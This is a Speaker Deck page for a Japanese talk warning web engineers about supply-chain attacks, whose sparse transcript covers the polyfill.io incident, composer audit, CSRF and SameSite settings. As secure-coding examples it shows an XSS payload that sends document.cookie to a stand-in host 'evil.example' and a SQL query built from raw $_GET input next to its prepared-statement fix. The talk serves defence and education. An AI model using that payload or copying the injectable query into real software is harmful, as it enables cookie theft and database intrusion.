Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
サプライチェーン攻撃とWebエンジニアの日常
Search
Sponsored
·
SiteGround - Reliable hosting with speed, security, and support you can count on.
→
Shinya Saita
May 30, 2026
Technology
93
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
サプライチェーン攻撃とWebエンジニアの日常
最近はやっているサプライチェーン攻撃について振り返りと注意喚起を
Shinya Saita
May 30, 2026
More Decks by Shinya Saita
See All by Shinya Saita
PHP8.5は「戻り値の無視」をどう見抜くのか 〜voidキャストの裏側〜
shinyasaita
0
64
hookで自作する Claude Code の「実況ボード」
shinyasaita
2
460
エンジニアの示唆に溢れている漫画『HUNTER×HUNTER』
shinyasaita
0
220
個人OSSが、机の上から世界に広がるまでの話
shinyasaita
1
460
AIコード生成×サプライチェーン攻撃 — PHPが直面する“二重の信頼問題
shinyasaita
0
940
Chrome拡張機能で会議の遅刻・延長を解消した話
shinyasaita
0
130
PHPで常に象を意識する方法
shinyasaita
0
110
Claude Code 珍プレー好プレー
shinyasaita
0
480
失敗を資産に変えるClaude Code
shinyasaita
0
2k
Other Decks in Technology
See All in Technology
Running Kotlin + Quarkus with Lambda
nealle
1
460
「Docker Desktop不要の時代」は 来たのか?
ueponx
0
590
自主式軟體工廠
philipz
0
260
AIに攻撃される前に、AIに攻撃させる
tsuchikazu
0
170
LLM機能を自作して分かるSnowflake Cortex AIの強み
nayuts
0
370
AIカンパニーへの転換を支えた、エンジニアの仕事の再定義
kworkdev
PRO
2
590
宣言型部分更新は何を解決しどこへ向かうのか
shuta13
1
340
TinyGoでオブザーバビリティ?OpenTelemetryはTinyGoで使えるのか / Is OpenTelemetry available in TinyGo environment?
ymotongpoo
2
140
初対面のメンバーがチームを組み、Claude Codeでゼロからサービスをリリース
mkdev10
1
120
組み立てて楽しむ AWS Blocks 入門
kmiya84377
0
230
Datadog の学び方 - あるいは、オブザーバビリティを学ぶとは何か
mananyuki
1
560
事業成長とデータ活用を止めないためのマネジメントへ挑戦
hiracky16
0
320
Featured
See All Featured
Become a Pro
speakerdeck
PRO
31
6.3k
Raft: Consensus for Rubyists
vanstee
142
7.8k
Evolving SEO for Evolving Search Engines
ryanjones
0
320
Leadership Guide Workshop - DevTernity 2021
reverentgeek
1
400
BBQ
matthewcrist
90
10k
Docker and Python
trallard
47
4.2k
Music & Morning Musume
bryan
48
7.4k
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.9k
How to Create Impact in a Changing Tech Landscape [PerfNow 2023]
tammyeverts
56
3.5k
Save Time (by Creating Custom Rails Generators)
garrettdimon
PRO
33
5.2k
How to Ace a Technical Interview
jacobian
280
24k
Why Mistakes Are the Best Teachers: Turning Failure into a Pathway for Growth
auna
0
320
Transcript
None
None
None
None
None
None
None
None
None
None
None
None
None
None
<script src="//cdn.polyfill.io/...">
laravel-lang/http-statuses actions attributes helpers.php autoload.files
$ composer update # # composer.lock composer.lock
None
None
<?php // echo " " . $_GET['name'] . " ";
// echo " " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . " "; ?name=<script>fetch('//evil.example/'+document.cookie) </script>
@csrf SameSite=Lax Strict
<?php // ( ) $sql = "SELECT * FROM users
WHERE id = " . $_GET['id']; // ( ) $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->execute([':id' => $_GET['id']]);
None
composer.lock composer audit roave/security-advisories
None
composer.lock composer audit
None